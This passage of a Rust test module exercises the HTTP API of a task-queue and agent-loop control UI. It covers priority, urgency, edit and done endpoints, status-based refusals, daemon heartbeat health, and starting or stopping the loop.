13969 q.put(&mut task).unwrap();
13970 for urgent in [true, true, false, false] {
13971 let saved = queue_urgent(
13972 State(Arc::clone(&ui)),
13973 Path(task.short().into()),
13974 Ok(Json(UrgentBody { urgent })),
13975 )
13976 .await
13977 .unwrap();
13978 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
13979 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
13980 }
13981 }
13982 task.status = TaskStatus::Queued;
13983 q.put(&mut task).unwrap();
13984 let claim = q.claim(&task.id).unwrap();
13985 let error = queue_urgent(
13986 State(Arc::clone(&ui)),
13987 Path(task.id.clone()),
13988 Ok(Json(UrgentBody { urgent: true })),
13989 )
13990 .await
13991 .unwrap_err();
13992 assert_eq!(error.status, StatusCode::CONFLICT);
13993 assert!(error.message.contains("released"));
13994 drop(claim);
13995 for status in [
13996 TaskStatus::Running,
13997 TaskStatus::Done,
13998 TaskStatus::Failed,
13999 TaskStatus::Blocked,
14000 TaskStatus::Parked,
14001 ] {
14002 task.status = status;
14003 q.put(&mut task).unwrap();
14004 let error = queue_urgent(
14005 State(Arc::clone(&ui)),
14006 Path(task.id.clone()),
14007 Ok(Json(UrgentBody { urgent: false })),
14008 )
14009 .await
14010 .unwrap_err();
14011 assert_eq!(error.status, StatusCode::BAD_REQUEST);
14012 assert!(error.message.contains(status.as_str()));
14013 }
14014 }
14015
14016 #[tokio::test]
14017 async fn urgent_api_updates_preserves_and_validates_tasks() {
14018 let f = Fixture::start().await;
14019 let q = f.queue();
14020 let mut t = Task::new(
14021 "urgent API".into(),
14022 "unchanged".into(),
14023 PathBuf::from("/repo/magi"),
14024 Source::Human,
14025 );
14026 t.attempts = 2;
14027 t.priority = 9;
14028 t.interrupt = true;
14029 t.hold_reason = Some("waiting for approval".into());
14030 for status in [TaskStatus::Queued, TaskStatus::Held] {
14031 t.status = status;
14032 q.put(&mut t).unwrap();
14033 for urgent in [true, true, false, false] {
14034 let response = f
14035 .post(
14036 &format!("/api/queue/{}/urgent", t.short()),
14037 Some(&format!("{{\"urgent\":{urgent}}}")),
14038 )
14039 .await;
14040 assert_eq!(response.status, 200, "{}", response.body);
14041 assert_eq!(response.json()["urgent"], urgent);
14042 let saved = q.get(&t.id).unwrap();
14043 let mut before = serde_json::to_value(&t).unwrap();
14044 let mut after = serde_json::to_value(saved).unwrap();
14045 before["urgent"] = urgent.into();
14046 before.as_object_mut().unwrap().remove("updated_at");
14047 after.as_object_mut().unwrap().remove("updated_at");
14048 assert_eq!(after, before);
14049 }
14050 }
14051 let route = format!("/api/queue/{}/urgent", t.id);
14052 for body in [
14053 r#"{}"#,
14054 r#"{"urgent":null}"#,
14055 r#"{"urgent":"true"}"#,
14056 r#"{"urgent":1}"#,
14057 r#"{"urgent":true,"extra":false}"#,
14058 "{",
14059 ] {
14060 assert_eq!(f.post(&route, Some(body)).await.status, 400);
14061 }
14062 t.status = TaskStatus::Queued;
14063 q.put(&mut t).unwrap();
14064 let claim = q.claim(&t.id).unwrap();
14065 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
14066 assert_eq!(response.status, 409, "{}", response.body);
14067 assert!(!q.get(&t.id).unwrap().urgent);
14068 drop(claim);
14069 for status in [
14070 TaskStatus::Running,
14071 TaskStatus::Done,
14072 TaskStatus::Failed,
14073 TaskStatus::Blocked,
14074 TaskStatus::Parked,
14075 ] {
14076 t.status = status;
14077 q.put(&mut t).unwrap();
14078 for urgent in [true, false] {
14079 let response = f
14080 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
14081 .await;
14082 assert_eq!(response.status, 400, "{}", response.body);
14083 assert!(response.body.contains(status.as_str()));
14084 assert!(response.body.contains("queued or held"));
14085 assert!(!q.get(&t.id).unwrap().urgent);
14086 }
14087 }
14088 assert_eq!(
14089 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
14090 .await
14091 .status,
14092 404
14093 );
14094 }
14095
14096 #[tokio::test]
14097 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
14098 let f = Fixture::start().await;
14099 let queue = f.queue();
14100 let mut older = Task::new(
14101 "filed first".to_owned(),
14102 "x".to_owned(),
14103 PathBuf::from("/repo/magi"),
14104 Source::Human,
14105 );
14106 older.id = "20260101-000001-aaaa".to_owned();
14107 let mut newer = Task::new(
14108 "filed second".to_owned(),
14109 "x".to_owned(),
14110 PathBuf::from("/repo/magi"),
14111 Source::Human,
14112 );
14113 newer.id = "20260101-000002-bbbb".to_owned();
14114 queue.put(&mut older).expect("file older");
14115 queue.put(&mut newer).expect("file newer");
14116
14117 let before = f.get("/api/queue").await.json();
14120 assert_eq!(before[0]["id"], newer.id);
14121 assert_eq!(before[1]["id"], older.id);
14122
14123 let raised = f
14127 .post(
14128 &format!("/api/queue/{}/priority", older.id),
14129 Some(r#"{"priority":10}"#),
14130 )
14131 .await;
14132 assert_eq!(raised.status, 200, "{}", raised.body);
14133 assert_eq!(raised.json()["priority"], 10);
14134
14135 let after = f.get("/api/queue").await.json();
14136 let names: Vec<&str> = after
14137 .as_array()
14138 .unwrap()
14139 .iter()
14140 .map(|t| t["id"].as_str().unwrap())
14141 .collect();
14142 assert_eq!(names[0], older.id, "the raised task now sorts first");
14146 }
14147
14148 #[tokio::test]
14149 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
14150 let dir = TempDir::new().unwrap();
14151 let q = Queue::at(dir.path().join("queue"));
14152 let ui = Arc::new(Ui::new(
14153 q.clone(),
14154 Questions::at(dir.path().join("questions")),
14155 Talks::at(dir.path().join("talks")),
14156 dir.path().join("runs"),
14157 dir.path().to_path_buf(),
14158 dir.path().to_path_buf(),
14159 ));
14160 let mut t = Task::new(
14161 "budget".into(),
14162 "keep".into(),
14163 dir.path().into(),
14164 Source::Human,
14165 );
14166 t.attempts = 2;
14167 t.runs.push("prior-run".into());
14168 t.hold_manual(Some("waiting".into()));
14169 q.put(&mut t).unwrap();
14170 let change = |value| {
14171 queue_attempt_limit(
14172 State(ui.clone()),
14173 Path(t.id.clone()),
14174 Ok(Json(AttemptLimitBody {
14175 attempt_limit: value,
14176 })),
14177 )
14178 };
14179 for value in [
14180 serde_json::json!(3),
14181 serde_json::Value::Null,
14182 serde_json::json!(1),
14183 ] {
14184 let response = change(value.clone()).await.unwrap();
14185 assert_eq!(
14186 serde_json::to_value(response.0).unwrap()["attempt_limit"],
14187 value
14188 );
14189 let saved = q.get(&t.id).unwrap();
14190 assert_eq!(
14191 serde_json::to_value(&saved).unwrap()["attempt_limit"],
14192 value
14193 );
14194 assert_eq!(saved.status, TaskStatus::Held);
14195 assert_eq!(saved.attempts, t.attempts);
14196 assert_eq!(saved.runs, t.runs);
14197 assert_eq!(saved.hold_reason, t.hold_reason);
14198 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
14199 .await
14200 .unwrap()
14201 .0;
14202 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
14203 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
14204 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
14205 assert_eq!(outcome.max_attempts, detail.max_attempts);
14206 }
14207 for value in [
14208 serde_json::json!(0),
14209 serde_json::json!(-1),
14210 serde_json::json!(1.5),
14211 serde_json::json!("3"),
14212 serde_json::json!(true),
14213 ] {
14214 assert_eq!(
14215 change(value).await.err().unwrap().status,
14216 StatusCode::BAD_REQUEST
14217 );
14218 }
14219 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
14220 let claim = q.claim(&t.id).unwrap();
14221 assert_eq!(
14222 change(serde_json::json!(4)).await.err().unwrap().status,
14223 StatusCode::CONFLICT
14224 );
14225 drop(claim);
14226 for status in [
14227 TaskStatus::Running,
14228 TaskStatus::Done,
14229 TaskStatus::Failed,
14230 TaskStatus::Blocked,
14231 TaskStatus::Parked,
14232 ] {
14233 let mut stored = q.get(&t.id).unwrap();
14234 stored.status = status;
14235 q.put(&mut stored).unwrap();
14236 assert_eq!(
14237 change(serde_json::json!(4)).await.err().unwrap().status,
14238 StatusCode::BAD_REQUEST
14239 );
14240 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
14241 }
14242 let mut stored = q.get(&t.id).unwrap();
14243 stored.status = TaskStatus::Queued;
14244 q.put(&mut stored).unwrap();
14245 let _ = change(serde_json::Value::Null).await.unwrap();
14246 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
14247 }
14248
14249 #[tokio::test]
14250 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
14251 let dir = TempDir::new().unwrap();
14252 let repo = dir.path().join("repo");
14253 std::fs::create_dir(&repo).unwrap();
14254 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
14255 let q = Queue::at(dir.path().join("queue"));
14256 let ui = Arc::new(Ui::new(
14257 q.clone(),
14258 Questions::at(dir.path().join("questions")),
14259 Talks::at(dir.path().join("talks")),
14260 dir.path().join("runs"),
14261 dir.path().to_path_buf(),
14262 repo.clone(),
14263 ));
14264 let mut t = Task::new(
14265 "seats".into(),
14266 "keep instruction".into(),
14267 repo,
14268 Source::Human,
14269 );
14270 t.runs.push("prior-run".into());
14271 t.hold_manual(Some("waiting".into()));
14272 q.put(&mut t).unwrap();
14273 let change = |count| {
14274 queue_implementers(
14275 State(ui.clone()),
14276 Path(t.id.clone()),
14277 Ok(Json(ImplementersBody {
14278 implementers: count,
14279 })),
14280 )
14281 };
14282 for count in [2, 1, 2] {
14283 let response = change(count).await.unwrap();
14284 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
14285 let saved = q.get(&t.id).unwrap();
14286 assert_eq!(saved.implementers(), Some(usize::from(count)));
14287 assert_eq!(saved.runs, t.runs);
14288 assert_eq!(saved.instruction, t.instruction);
14289 }
14290 for count in [0, 4] {
14291 assert_eq!(
14292 change(count).await.err().unwrap().status,
14293 StatusCode::BAD_REQUEST
14294 );
14295 }
14296 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
14297 let claim = q.claim(&t.id).unwrap();
14298 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
14299 drop(claim);
14300 for status in [
14301 TaskStatus::Running,
14302 TaskStatus::Done,
14303 TaskStatus::Failed,
14304 TaskStatus::Blocked,
14305 TaskStatus::Parked,
14306 ] {
14307 let mut stored = q.get(&t.id).unwrap();
14308 stored.status = status;
14309 q.put(&mut stored).unwrap();
14310 assert_eq!(
14311 change(1).await.err().unwrap().status,
14312 StatusCode::BAD_REQUEST
14313 );
14314 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
14315 }
14316 }
14317
14318 #[tokio::test]
14319 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
14320 let f = Fixture::start().await;
14321 let queue = f.queue();
14322 let mut task = Task::new(
14323 "in flight".to_owned(),
14324 "x".to_owned(),
14325 PathBuf::from("/repo/magi"),
14326 Source::Human,
14327 );
14328 task.start("20260902-140502-bbbb".to_owned());
14329 queue.put(&mut task).expect("file the task");
14330
14331 let res = f
14332 .post(
14333 &format!("/api/queue/{}/priority", task.id),
14334 Some(r#"{"priority":9}"#),
14335 )
14336 .await;
14337 assert_eq!(res.status, 400, "{}", res.body);
14338 assert!(
14339 res.json()["error"]
14340 .as_str()
14341 .is_some_and(|e| e.contains("running")),
14342 "{}",
14343 res.body
14344 );
14345 assert_eq!(
14346 queue.get(&task.id).expect("reload").priority,
14347 0,
14348 "the refused write must not partially apply"
14349 );
14350 }
14351
14352 #[tokio::test]
14353 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
14354 let f = Fixture::start().await;
14355 let queue = f.queue();
14356 let mut task = Task::new(
14357 "old title".to_owned(),
14358 "old instruction".to_owned(),
14359 PathBuf::from("/repo/magi"),
14360 Source::Agent {
14361 run: "20260101-000000-beef".to_owned(),
14362 node: "implement".to_owned(),
14363 },
14364 );
14365 task.runs.push("20260101-000000-beef".to_owned());
14366 queue.put(&mut task).expect("file the task");
14367 let created_at = task.created_at;
14368
14369 let edited = f
14370 .post(
14371 &format!("/api/queue/{}/edit", task.id),
14372 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
14373 )
14374 .await;
14375 assert_eq!(edited.status, 200, "{}", edited.body);
14376 let body = edited.json();
14377 assert_eq!(body["title"], "new title");
14378 assert_eq!(body["instruction"], "new instruction");
14379 assert_eq!(body["id"], task.id, "editing must not mint a new id");
14380 assert_eq!(body["created_at"], created_at.to_string());
14381 assert_eq!(
14382 body["source"]["kind"], "agent",
14383 "editing a task an agent filed must not turn it human: {body}"
14384 );
14385 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
14386
14387 let reloaded = queue.get(&task.id).expect("reload");
14388 assert_eq!(reloaded.title, "new title");
14389 assert_eq!(reloaded.instruction, "new instruction");
14390 }
14391
14392 #[tokio::test]
14393 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
14394 let tmp = TempDir::new().expect("tempdir");
14397 let repo = tmp.path().join("repo");
14398 std::fs::create_dir_all(&repo).expect("repo dir");
14399 let judge = MOCK_AGENT_TOML.replace(
14400 "printf ok",
14401 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
14402 );
14403 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
14404 let f = Fixture::with_repo(repo.clone()).await;
14405 let queue = f.queue();
14406 let mut owner = Task::new(
14407 "owner".to_owned(),
14408 "review it".to_owned(),
14409 repo.clone(),
14410 Source::Human,
14411 );
14412 owner.review_branch = Some("magi/ab12/A".to_owned());
14413 queue.put(&mut owner).expect("file the owner");
14414 let mut task = Task::new(
14415 "draft".to_owned(),
14416 "old".to_owned(),
14417 repo.clone(),
14418 Source::Human,
14419 );
14420 queue.put(&mut task).expect("file the draft");
14421 let url = format!("/api/queue/{}/edit", task.id);
14422
14423 let refused = f
14424 .post(
14425 &url,
14426 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
14427 )
14428 .await;
14429 assert_eq!(refused.status, 409, "{}", refused.body);
14430 let msg = refused.json()["error"]
14431 .as_str()
14432 .unwrap_or_default()
14433 .to_owned();
14434 assert!(
14435 msg.contains("magi/ab12/A") && msg.contains("force"),
14436 "{msg}"
14437 );
14438 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
14439
14440 let forced = f
14441 .post(
14442 &url,
14443 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
14444 )
14445 .await;
14446 assert_eq!(forced.status, 200, "{}", forced.body);
14447 }
14448
14449 #[tokio::test]
14450 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
14451 let f = Fixture::start().await;
14452 let queue = f.queue();
14453 let mut task = Task::new(
14454 "in flight".to_owned(),
14455 "do not touch".to_owned(),
14456 PathBuf::from("/repo/magi"),
14457 Source::Human,
14458 );
14459 task.start("20260902-140502-bbbb".to_owned());
14460 queue.put(&mut task).expect("file the task");
14461
14462 let res = f
14463 .post(
14464 &format!("/api/queue/{}/edit", task.id),
14465 Some(r#"{"title":"x","instruction":"y"}"#),
14466 )
14467 .await;
14468 assert_eq!(res.status, 400, "{}", res.body);
14469 assert!(
14470 res.json()["error"]
14471 .as_str()
14472 .is_some_and(|e| e.contains("running")),
14473 "{}",
14474 res.body
14475 );
14476 assert_eq!(
14477 queue.get(&task.id).expect("reload").instruction,
14478 "do not touch",
14479 "the refused edit must not change the file"
14480 );
14481 }
14482
14483 #[tokio::test]
14484 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
14485 let f = Fixture::start().await;
14486 let queue = f.queue();
14487 let mut task = Task::new(
14488 "busy".to_owned(),
14489 "Running right now".to_owned(),
14490 PathBuf::from("/repo/magi"),
14491 Source::Human,
14492 );
14493 queue.put(&mut task).expect("file the task");
14494 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
14495
14496 let priority = f
14497 .post(
14498 &format!("/api/queue/{}/priority", task.id),
14499 Some(r#"{"priority":9}"#),
14500 )
14501 .await;
14502 assert_eq!(priority.status, 409, "{}", priority.body);
14503
14504 let edit = f
14505 .post(
14506 &format!("/api/queue/{}/edit", task.id),
14507 Some(r#"{"title":"x","instruction":"y"}"#),
14508 )
14509 .await;
14510 assert_eq!(edit.status, 409, "{}", edit.body);
14511 }
14512
14513 #[tokio::test]
14514 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
14515 let f = Fixture::start().await;
14516 let queue = f.queue();
14517 let mut task = Task::new(
14518 "shipped by hand".to_owned(),
14519 "merged outside the loop".to_owned(),
14520 PathBuf::from("/repo/magi"),
14521 Source::Agent {
14522 run: "20260101-000000-b455".to_owned(),
14523 node: "implement".to_owned(),
14524 },
14525 );
14526 task.runs.push("20260101-000000-b455".to_owned());
14527 task.runs.push("20260101-000000-9af4".to_owned());
14528 queue.put(&mut task).expect("file the task");
14529 let created_at = task.created_at;
14530
14531 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14532 assert_eq!(done.status, 200, "{}", done.body);
14533 assert_eq!(done.json()["status_str"], "done");
14534
14535 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
14536 assert_eq!(
14537 reloaded.runs,
14538 ["20260101-000000-b455", "20260101-000000-9af4"]
14539 );
14540 assert_eq!(
14541 reloaded.source,
14542 Source::Agent {
14543 run: "20260101-000000-b455".to_owned(),
14544 node: "implement".to_owned(),
14545 }
14546 );
14547 assert_eq!(reloaded.created_at, created_at);
14548 }
14549
14550 #[tokio::test]
14551 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
14552 let f = Fixture::start().await;
14557 let queue = f.queue();
14558 let mut task = Task::new(
14559 "landed while held".to_owned(),
14560 "x".to_owned(),
14561 PathBuf::from("/repo/magi"),
14562 Source::Human,
14563 );
14564 task.hold_manual(Some("waiting on 3ed9".to_owned()));
14565 queue.put(&mut task).expect("file the held task");
14566
14567 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14568 assert_eq!(done.status, 200, "{}", done.body);
14569 assert_eq!(done.json()["status_str"], "done");
14570 assert!(
14571 done.json()["hold_reason"].is_null(),
14572 "a done task cannot still be waiting on something: {}",
14573 done.body
14574 );
14575 }
14576
14577 #[tokio::test]
14578 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
14579 let f = Fixture::start().await;
14584 let queue = f.queue();
14585 let runs = f.runs();
14586 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
14587 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
14591
14592 let mut task = Task::new(
14593 "landed by hand".to_owned(),
14594 "x".to_owned(),
14595 PathBuf::from("/repo/magi"),
14596 Source::Human,
14597 );
14598 task.runs.push("20260101-000000-doa1".to_owned());
14599 task.runs.push("20260101-000000-doa2".to_owned());
14600 queue.put(&mut task).expect("file the task");
14601
14602 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14603 assert_eq!(done.status, 200, "{}", done.body);
14604
14605 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
14606 .expect("run still on disk under this fixture's own home");
14607 assert_eq!(
14608 reloaded_run.status,
14609 RunStatus::Superseded,
14610 "closing the task by hand must relabel the earlier blocked attempt exactly \
14611 like the loop's own settle path does"
14612 );
14613 }
14614
14615 #[tokio::test]
14616 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
14617 let f = Fixture::start().await;
14622 let queue = f.queue();
14623 let runs = f.runs();
14624 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
14625 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
14626
14627 let mut task = Task::new(
14628 "closed with nothing actually landed".to_owned(),
14629 "x".to_owned(),
14630 PathBuf::from("/repo/magi"),
14631 Source::Human,
14632 );
14633 task.runs.push("20260101-000000-dob1".to_owned());
14634 task.runs.push("20260101-000000-dob2".to_owned());
14635 queue.put(&mut task).expect("file the task");
14636
14637 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14638 assert_eq!(done.status, 200, "{}", done.body);
14639
14640 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
14641 .expect("run still on disk under this fixture's own home");
14642 assert_eq!(
14643 reloaded_run.status,
14644 RunStatus::Blocked,
14645 "the last recorded attempt never landed, so the earlier one must not be \
14646 relabelled as superseded by it"
14647 );
14648 }
14649
14650 #[tokio::test]
14651 async fn unknown_ids_are_json_not_found_on_both_stores() {
14652 let f = Fixture::start().await;
14653
14654 let run = f.get("/api/runs/nosuchrun").await;
14655 let task = f.post("/api/queue/nosuchtask/hold", None).await;
14656
14657 assert_eq!(run.status, 404);
14658 assert_eq!(task.status, 404);
14659 assert!(
14660 run.json()["error"]
14661 .as_str()
14662 .is_some_and(|e| e.contains("run")),
14663 "the error names what was not found: {}",
14664 run.body
14665 );
14666 assert!(
14667 task.json()["error"]
14668 .as_str()
14669 .is_some_and(|e| e.contains("task")),
14670 "the error names what was not found: {}",
14671 task.body
14672 );
14673 }
14674
14675 #[tokio::test]
14676 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
14677 let f = Fixture::start().await;
14678
14679 let missing = f.get("/api/health").await.json();
14680 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
14681
14682 write_daemon(
14683 f.home.path(),
14684 Timestamp::now() - jiff::SignedDuration::from_secs(60),
14685 );
14686 let stale = f.get("/api/health").await.json();
14687 assert_eq!(
14688 stale["daemon"]["running"], false,
14689 "a minute without a heartbeat is a dead daemon, not a busy one"
14690 );
14691 assert!(
14692 stale["daemon"]["stale_for_secs"]
14693 .as_i64()
14694 .is_some_and(|s| s >= 55),
14695 "staleness is reported so the UI can say how long: {stale}"
14696 );
14697
14698 write_daemon(f.home.path(), Timestamp::now());
14699 let fresh = f.get("/api/health").await.json();
14700 assert_eq!(fresh["daemon"]["running"], true);
14701 assert_eq!(fresh["daemon"]["idle"], false);
14702 assert_eq!(fresh["daemon"]["pid"], 4242);
14703 assert_eq!(fresh["daemon"]["completed"], 7);
14704 assert_eq!(
14705 fresh["daemon"]["current"][0]["task"],
14706 "20260902-140501-aaaa"
14707 );
14708 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
14709 }
14710
14711 #[tokio::test]
14712 async fn the_loop_is_not_running_until_something_starts_it() {
14713 let f = Fixture::start().await;
14714
14715 let view = f.get("/api/loop").await.json();
14716 assert_eq!(view["running"], false);
14717 assert_eq!(
14718 view["owned"], false,
14719 "nobody owns a loop that does not exist: {view}"
14720 );
14721 assert_eq!(view["stopping"], false);
14722 assert_eq!(view["last_error"], Value::Null);
14723 assert_eq!(view["daemon"]["running"], false);
14724 assert_eq!(
14725 view["repo"], "/repo/magi",
14726 "the repository a start would use, named before it is started"
14727 );
14728 }
14729
14730 #[tokio::test]
14731 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
14732 let f = Fixture::start().await;
14733
14734 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14735 assert_eq!(res.status, 200, "{}", res.body);
14736 let view = res.json();
14737 assert_eq!(view["running"], true);
14738 assert_eq!(
14739 view["owned"], true,
14740 "the loop the UI started is the UI's own to stop: {view}"
14741 );
14742 assert_eq!(
14743 view["merge"],
14744 Value::Null,
14745 "no override was given, so each repository's own config decides"
14746 );
14747
14748 let health = f.get("/api/health").await.json();
14752 assert_eq!(health["loop"]["running"], true, "{health}");
14753 assert_eq!(health["loop"]["owned"], true, "{health}");
14754
14755 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14756 }
14757
14758 #[tokio::test]
14759 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
14760 let f = Fixture::start().await;
14761 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14762 assert_eq!(first.status, 200, "{}", first.body);
14763
14764 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14765 assert_eq!(
14766 again.status, 409,
14767 "two loops on one queue race for the same claims: {}",
14768 again.body
14769 );
14770 assert!(
14771 again.json()["error"]
14772 .as_str()
14773 .is_some_and(|e| e.contains("already running the loop")),
14774 "the refusal has to say why: {}",
14775 again.body
14776 );
14777 assert_eq!(
14778 f.get("/api/loop").await.json()["running"],
14779 true,
14780 "and the loop that was already running is untouched by it"
14781 );
14782
14783 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14784 }
14785
14786 #[tokio::test]
14787 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
14788 let f = Fixture::start().await;
14789 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14790
14791 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14792 assert_eq!(
14793 res.status, 200,
14794 "the answer must not wait for the loop: a run in flight is tens of \
14795 minutes and the operator is holding a phone: {}",
14796 res.body
14797 );
14798
14799 let view = settled(&f, |v| v["running"] == false).await;
14800 assert_eq!(view["owned"], false);
14801 assert_eq!(
14802 view["stopping"], false,
14803 "a loop that has stopped is not still stopping: {view}"
14804 );
14805 assert_eq!(
14806 view["last_error"],
14807 Value::Null,
14808 "a loop that was asked to stop did not fail: {view}"
14809 );
14810
14811 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14814 assert_eq!(twice.status, 200, "{}", twice.body);
14815 }
14816
14817 #[tokio::test]
14818 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
14819 let f = Fixture::start().await;
14820 write_daemon(f.home.path(), Timestamp::now());
14823
14824 let view = f.get("/api/loop").await.json();
14825 assert_eq!(view["running"], false, "not in this process: {view}");
14826 assert_eq!(view["owned"], false, "and not this process's to control");
14827 assert_eq!(
14828 view["daemon"]["running"], true,
14829 "but a loop is alive somewhere, which is what the UI must say"
14830 );
14831 assert_eq!(view["daemon"]["pid"], 4242);
14832
14833 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
14834 let res = f.post("/api/loop", Some(body)).await;
14835 assert_eq!(
14836 res.status, 409,
14837 "neither button may pretend to work on someone else's loop: {}",
14838 res.body
14839 );
14840 assert!(
14841 res.json()["error"]
14842 .as_str()
14843 .is_some_and(|e| e.contains("4242")),
14844 "the refusal has to name the process the operator must go to: {}",
14845 res.body
14846 );
14847 }
14848 assert_eq!(
14849 f.get("/api/loop").await.json()["running"],
14850 false,
14851 "and the refusal started nothing"
14852 );
14853 }
14854
14855 #[tokio::test]
14856 async fn a_stale_status_file_is_not_a_foreign_owner() {
14857 let f = Fixture::start().await;
14858 write_daemon(
14859 f.home.path(),
14860 Timestamp::now() - jiff::SignedDuration::from_secs(60),
14861 );
14862
14863 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14864 assert_eq!(
14865 res.status, 200,
14866 "a daemon killed a minute ago must not lock the loop out of its \
14867 own home for good: {}",
14868 res.body
14869 );
14870 assert_eq!(res.json()["running"], true);
14871
14872 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14873 }
14874
14875 #[tokio::test]
14876 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
14877 let f = Fixture::start().await;
14878 let before = f.get("/api/health").await.json()["loop_rev"]
14879 .as_u64()
14880 .expect("a loop revision");
14881
14882 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14883
14884 let after = f.get("/api/health").await.json()["loop_rev"]
14885 .as_u64()
14886 .expect("a loop revision");
14887 assert!(
14888 after > before,
14889 "the loop is in-process state, so this counter is the only thing \
14890 that tells a second device the first one started it: {before} -> \
14891 {after}"
14892 );
14893
14894 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14895 }
14896
14897 #[tokio::test]
14898 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
14899 let f = Fixture::with_loop(launch_broken).await;
14900
14901 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14902 assert_eq!(
14903 res.status, 200,
14904 "starting it is not the failure: {}",
14905 res.body
14906 );
14907
14908 let view = settled(&f, |v| v["last_error"].is_string()).await;
14909 assert_eq!(
14910 view["running"], false,
14911 "a loop that died must not read as running, or the operator has \
14912 nothing to press: {view}"
14913 );
14914 assert_eq!(view["owned"], false);
14915 assert!(
14916 view["last_error"]
14917 .as_str()
14918 .is_some_and(|e| e.contains("read-only file system")),
14919 "the phone is where a loop that died at 3am is visible: {view}"
14920 );
14921
14922 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14925 assert_eq!(again.status, 200, "{}", again.body);
14926 assert!(
14927 again.json()["last_error"]
14928 .as_str()
14929 .is_none_or(|e| !e.contains("read-only file system")),
14930 "a fresh start does not keep showing why the last one died: {}",
14931 again.body
14932 );
14933 }
14934
14935 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
14947 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
14948 let home = TempDir::new().expect("temp home");
14949 let runs = home.path().join("runs");
14950 std::fs::create_dir_all(&runs).expect("runs dir");
14951 let ui = Ui::new(
14952 Queue::at(home.path().join("queue")),
14953 Questions::at(home.path().join("questions")),
14954 Talks::at(home.path().join("talks")),
14955 runs,
14956 home.path().to_path_buf(),
14957 PathBuf::from("/repo/magi"),
14958 )
14959 .with_worktrees_root(home.path().join("wt"))
14960 .with_launch(launch_knocking_on_the_way_out);
14961 let looping = ui.looping();
14962 let turns = ui.turns();
14963 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
14964 .await
14965 .expect("bind loopback");
14966 let addr = listener.local_addr().expect("local addr");
14967 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
14968 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
14969
14970 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
